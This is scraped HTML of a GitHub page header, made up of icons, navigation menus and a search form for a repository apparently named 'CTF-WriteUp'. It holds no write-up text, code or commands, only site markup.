<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="268424549" data-scoped-search-url="/gr4n173/CTF-WriteUp/search" data-owner-scoped-search-url="/users/gr4n173/search" data-unscoped-search-url="/search" data-turbo="false" action="/gr4n173/CTF-WriteUp/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="miVulpXbEVpntXRakhLnGkvKZK4MPn2xLNzybqBpqui3YqE4h2nM54wlLnHn8ywPX2Jbs/1+SW5SvqNyruc2Og==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
